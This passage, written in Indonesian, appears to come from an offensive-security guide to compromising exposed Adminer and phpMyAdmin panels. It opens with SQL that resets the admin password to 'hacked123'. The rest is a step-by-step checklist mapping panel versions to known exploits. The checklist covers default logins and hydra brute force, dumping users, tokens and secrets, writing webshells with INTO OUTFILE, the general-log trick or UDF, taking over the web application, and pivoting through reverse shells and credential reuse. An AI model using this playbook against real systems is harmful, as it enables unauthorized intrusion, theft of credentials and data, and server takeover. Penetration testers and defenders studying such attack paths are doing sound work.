10-- bcrypt ($2y$ prefix)
11-- Perlu generate di luar MySQL
12
13-- Plaintext (ya, masih ada yang begini)
14UPDATE users SET password = 'hacked123' WHERE username = 'admin';4.5 Checklist Ringkasan
Menemukan Adminer/phpMyAdmin
│
├─ 1. Identifikasi versi
│ ├─ Adminer < 4.7.8? → Rogue MySQL file read
│ ├─ Adminer < 4.7.9? → SSRF
│ ├─ phpMyAdmin 4.8.0-4.8.1? → LFI (CVE-2018-12613)
│ └─ phpMyAdmin 4.0-4.6? → RCE (CVE-2016-5734)
│
├─ 2. Login attempt
│ ├─ root:(kosong) di localhost
│ ├─ Default credentials
│ └─ Brute force (hydra)
│
├─ 3. Setelah login → Recon SQL
│ ├─ SHOW DATABASES
│ ├─ SHOW GRANTS
│ ├─ SHOW VARIABLES LIKE 'secure_file_priv'
│ └─ Cari tabel user/credentials
│
├─ 4. Data dump
│ └─ Dump users, tokens, secrets dari semua DB
│
├─ 5. RCE attempt
│ ├─ INTO OUTFILE → webshell
│ ├─ General log trick → webshell
│ └─ UDF → system command
│
├─ 6. Takeover aplikasi web
│ └─ Update password admin di DB → login ke CMS/app
│
└─ 7. Pivot
├─ Credentials reuse → SSH / panel lain
├─ Webshell → reverse shell → privesc
└─ Database replication → server lainBab 5 — (Coming soon)